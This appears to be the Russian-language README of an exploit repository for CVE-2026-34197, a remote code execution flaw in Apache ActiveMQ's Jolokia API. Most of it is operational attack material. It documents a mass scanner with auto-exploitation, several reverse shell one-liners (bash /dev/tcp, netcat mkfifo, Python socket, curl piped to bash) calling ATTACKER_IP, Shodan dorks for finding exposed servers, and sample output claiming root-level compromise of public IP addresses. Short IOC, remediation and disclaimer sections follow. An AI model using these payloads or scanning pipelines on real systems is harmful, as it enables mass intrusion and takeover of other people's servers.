CVE-2026-34197 — Exploitation Chain

### Пошаговый разбор

| Шаг | Действие | Компонент |
|:----:|--------|-----------|
| **1** | Атакующий отправляет POST-запрос на `/api/jolokia/`, вызывая `addNetworkConnector` на MBean-объекте Broker | Jolokia API |
| **2** | ActiveMQ обрабатывает URI транспорта `vm://` и создаёт временный брокер с `brokerConfig`, указывающим на удалённый URL | VM Transport |
| **3** | Схема `xbean:` инициирует загрузку Spring XML-файла конфигурации с сервера атакующего | Spring / XBean |
| **4** | Spring создаёт все бины из XML, включая тот, который вызывает `Runtime.getRuntime().exec()` | Spring Context |
| **5** | Для простых команд вывод перехватывается и отправляется обратно через HTTP POST на прослушивающий сервер атакующего (автоматически) | Output Capture |

---

## Структура проекта```
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

### Лабораторная среда (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

### Сканер + Авто-эксплуатация (рекомендуется для массовых целей)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

### Как определить ваш `ATTACKER_IP`

| Сценарий | Как его найти | Пример |
|----------|---------------|---------|
| **Локальная сеть** (лаборатория, внутренний пентест) | Ваш локальный/частный IP | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, внутренняя сеть) | IP вашего VPN-туннеля | `ip a show tun0` → `10.10.14.23` |
| **Удалённая цель через Интернет** | Ваш публичный IP | `curl ifconfig.me` → `203.0.113.42` |
| **Облачный VPS** (атака с сервера) | Публичный IP VPS | Проверьте панель управления вашего облачного провайдера |```bash
# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

### Проброс портов (сценарии NAT)

Если вы находитесь за роутером/NAT и атакуете цель, доступную из Интернета:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

### Полный пример рабочего процесса```bash
# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

### Массовое сканирование (несколько целей)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

Возможности массового сканирования:
- **Авто-дедупликация** — дублирующиеся URL удаляются автоматически
- **Единый HTTP-сервер** — сервер полезной нагрузки запускается один раз и переиспользуется для всех целей
- **Резервная аутентификация** — если учетные данные не сработали (401), автоматически выполняется повторная попытка без аутентификации (CVE-2024-32114)
- **Случайные имена коннекторов** — позволяет избежать конфликтов регистрации JMX между целями
- **Инкрементальное сохранение** — уязвимые цели сохраняются немедленно (безопасно для Ctrl+C)
- **Поддержка HTTPS** — работает как с HTTP-, так и с HTTPS-целями

### Обратные оболочки

Обратные оболочки и команды со специальными символами (`>`, `&`, `|`, `;`, `$` и т. д.) **автоматически кодируются в base64**, чтобы избежать проблем с экранированием XML/оболочки.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

#### Пример с выводом```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

### Логика классификации версий

Сканер автоматически классифицирует версии на основе затронутых диапазонов:

| Версия | Классификация |
|---------|---------------|
| `< 5.19.4` (например, 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (например, 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` – `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |

### Пошаговое руководство по использованию

#### Шаг 1 — Подготовьте файл с целями

Создайте `targets.txt` с одним URL на строку. Дубликаты удаляются автоматически.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

Это запускает **только Фазу 1**. HTTP-сервер не запускается, полезные нагрузки не отправляются, команды не выполняются. Выходной файл будет содержать информацию о версиях для каждой уязвимой цели:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

#### Шаг 3 — Сканирование + автоматическая эксплуатация (полный конвейер)

Чтобы сканировать **и** эксплуатировать за один запуск, добавьте `-l` (ваш ATTACKER_IP) и `-c` (команду):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

Формат: `URL | версия | метод_аутентификации`. Затем вы можете использовать их по отдельности с `exploit.py` для дальнейшей пост-эксплуатации.

### Примеры использования```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

**Фаза 1 НЕ требует `ATTACKER_IP`** — она только запрашивает у Jolokia информацию о версии. Вы можете запустить Фазу 1 отдельно для разведки, не раскрывая свой IP.

**Фаза 2 требует `ATTACKER_IP`** — цели должны иметь доступ к вашему HTTP-серверу, чтобы загрузить полезную нагрузку. Если цель не может до вас достучаться, запрос завершится по таймауту (по умолчанию: 15 с) и будет помечен как «обратный вызов не получен» — но это не обязательно означает, что цель не уязвима (межсетевые экраны могут блокировать исходящий трафик).

### Параметры

| Флаг | Описание | По умолчанию |
|------|-------------|---------|
| `-T, --targets-file` | Файл с URL-адресами целей (по одному в строке) | *обязательно* |
| `-l, --lhost` | IP атакующего для обратного вызова (включает Фазу 2) | — |
| `-c, --command` | Команда для выполнения (включает Фазу 2) | — |
| `-lp, --lport` | Порт локального HTTP-сервера | `8888` |
| `-o, --output` | Выходной файл для подтверждённых целей | `confirmados.txt` |
| `-u, --user` | Имя пользователя Jolokia | `admin` |
| `-p, --password` | Пароль Jolokia | `admin` |
| `--no-auth` | Пропустить аутентификацию | `false` |
| `--threads` | Параллельные потоки для Фазы 1 | `10` |
| `--timeout` | Таймаут на запрос в Фазе 1 | `10s` |
| `--wait` | Секунды ожидания обратного вызова в Фазе 2 | `15s` |

> **Примечание:** Оба параметра `-l` и `-c` должны быть указаны вместе, чтобы включить Фазу 2. Если хотя бы один из них отсутствует, выполняется только Фаза 1 (сканирование).

### Возможности

- **Конвейер из 2 фаз** — сначала быстрое сканирование версий, затем целевая эксплуатация
- **Многопоточная Фаза 1** — сканирует сотни целей за секунды
- **Умное обнаружение брокера** — обрабатывает ответы с подстановочным знаком `brokerName=*`, извлекает реальное имя брокера из ключей MBean
- **Резервная аутентификация** — если `admin:admin` не срабатывает (401), повторяет попытку без аутентификации (CVE-2024-32114)
- **Случайные имена коннекторов** — избегает конфликтов JMX (`rce{random8}` уникален для каждой цели)
- **Автоматическая обёртка base64** — реверс-шеллы и специальные символы работают из коробки
- **Инкрементальное сохранение** — подтверждённые цели сохраняются немедленно (безопасно прерывать через Ctrl+C во время сканирования)
- **Режим только сканирования** — опустите `-l`/`-c`, чтобы просто обнаружить версии без эксплуатации
- **Классификация версий** — помечает `[VULNERABLE]` / `[PATCHED]` на основе затронутых диапазонов
- **Единый HTTP-сервер** — запускается один раз в Фазе 2 и используется для всех целей (без конфликтов портов)

### Реверс-шеллы с `version_check.py`

При использовании `version_check.py` для отправки реверс-шелла вам нужно **две вещи, работающие одновременно**:

1. **Прослушиватель netcat** на вашей машине, ожидающий входящего подключения шелла
2. **Команда `version_check.py`**, которая сканирует и эксплуатирует цели

Порт прослушивателя (`nc -lvnp PORT`) **должен совпадать** с портом внутри команды реверс-шелла (`/dev/tcp/ATTACKER_IP/PORT`).```
  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

#### Использование другого порта

Вы можете использовать любой порт, какой захотите, при условии, что обе стороны совпадают:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

> [!WARNING]
> **Путаница портов, которой следует избегать:** Эксплойт использует **два разных порта** для двух разных целей:
> - `-lp` (по умолчанию `8888`) — порт HTTP-сервера, на котором ActiveMQ загружает XML-полезную нагрузку. Это обрабатывается автоматически скриптом.
> - Порт внутри `/dev/tcp/.../4444` — порт обратного вызова reverse shell, на котором ВЫ слушаете с помощью `nc`. Это ваша обязанность — открыть его.
>
> Они **независимы**. Не путайте их. Вам нужен `nc -lvnp 4444` для оболочки, а скрипт обрабатывает `:8888` внутренне.

### Пример вывода```
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

---

## Охота и разведка

Подробные руководства по поиску открытых экземпляров Apache ActiveMQ с помощью **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** и **Google Dorks** — включая даорки для конкретных версий, обнаружение Jolokia, использование CLI/API, шаги проверки целей, правила SIEM/IDS и приоритеты устранения уязвимостей.

<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>

### Быстрые даорки Shodan```
"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

### Проверка цели```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

> **Примечание:** Часть `rce*` будет содержать случайные символы (например, `rcek4m2x9ab`), поскольку эксплойт рандомизирует имена коннекторов.

### IOC (Индикаторы компрометации)

| Индикатор | Описание |
|-----------|-------------|
| POST `/api/jolokia/` с `addNetworkConnector` | Попытка эксплуатации |
| Исходящий HTTP GET из процесса ActiveMQ | Загрузка XML-пейлоада |
| Исходящий HTTP POST из процесса ActiveMQ (эксфильтрация вывода команд) | Callback для перехвата вывода |
| URI `vm://` с `brokerConfig=xbean:http` | Вредоносный коннектор |
| Неожиданные дочерние процессы от Java/ActiveMQ (`curl`, `wget`, `bash`) | Выполнение команд / эксфильтрация вывода |

---

## Устранение

| Приоритет | Действие |
|----------|-------------|
| **P0** | Обновите ActiveMQ Classic до **5.19.4** или **6.2.3** |
| **P1** | Смените учётные данные веб-консоли по умолчанию |
| **P2** | Ограничьте сетевой доступ к порту **8161** |
| **P3** | Отслеживайте в журналах брокера URI `vm://` с паттернами `xbean:http` |

---

## Устранение неполадок

| Проблема | Вероятная причина | Решение |
|---------|-------------|----------|
| `No payload request received within 15s` | Цель не может получить доступ к вашему ATTACKER_IP | Проверьте связь (см. [руководство по ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | Неверные учётные данные | Попробуйте `--no-auth` (ActiveMQ 6.0.0-6.1.1) или найдите правильные учётные данные |
| `Access forbidden (403)` | API Jolokia ограничен | На цели могут быть ACL на `/api/jolokia/` — удалённая эксплуатация невозможна |
| `Connection error` / `Could not connect` | Цель недоступна или неверный порт | Проверьте доступность `http://TARGET:8161/` |
| `Jolokia status=500: could not be registered in JMX` | Ранее зарегистрированный коннектор эксплойта всё ещё активен | Эксплойт автоматически повторяет попытку с новым случайным именем; попробуйте снова |
| Обратная оболочка не подключается | Разный IP в `-l` и в команде оболочки, или порт не прослушивается | Убедитесь, что IP везде одинаковый; запустите `nc -lvnp PORT` до эксплуатации |
| `No output received within 10s` | На цели отсутствуют `curl` и `wget`, или команда не выдаёт stdout | RCE всё равно сработал — используйте обратную оболочку для полного взаимодействия |
| Перехват вывода показывает пустой результат | Команда не выдала вывод (например, `touch /tmp/test`) | Ожидаемо для команд без stdout; используйте `ls /tmp/test` для проверки |
| `OSError: Address already in use` на порту 8888 | Порт занят другим процессом или предыдущим запуском | Используйте `-lp 9999` (или любой свободный порт) или завершите блокирующий процесс |
| `version_check.py` Фаза 1 выполняется медленно | Слишком мало потоков или высокая сетевая задержка | Увеличьте `--threads 20` или `--threads 30` |
| `version_check.py` показывает `[VULNERABLE]`, но Фаза 2 не работает | Цель не может получить доступ к вашему IP, или брандмауэр блокирует исходящий HTTP | Проверьте ATTACKER_IP; попробуйте `--wait 30` для медленных сетей |
| `version_check.py` показывает `No Jolokia` для всех целей | API Jolokia отключён или находится по нестандартному пути | Проверьте вручную с помощью `curl -u admin:admin http://TARGET:8161/api/jolokia/` |

---

## Ссылки

| Ресурс | Ссылка |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Технический анализ](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Консультация Apache | [Консультация по безопасности](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| Связанный CVE | [CVE-2024-32114 — Jolokia без аутентификации](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| Связанный CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |

---

## Отказ от ответственности

> [!WARNING]
> Эта proof-of-concept предоставляется **строго для образовательных целей и авторизованных исследований в области безопасности**. Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, **является незаконным**. Автор не несёт ответственности за неправомерное использование.

---

<p align="center">
  <a href="https://github.com/KONDORDEVSECURITYCORP">
    <img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&amp;logo=github" alt="GitHub"/>
  </a>
  <a href="https://t.me/KONDORDEVSECURITY">
    <img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&amp;logo=telegram&amp;logoColor=white" alt="Telegram"/>
  </a>
</p>

<p align="center">
  <sub>Разработано с экспертизой компанией <b>KONDOR DEV SECURITY CORP</b></sub><br>
  <sub>Лицензия MIT &copy; 2026</sub>
</p>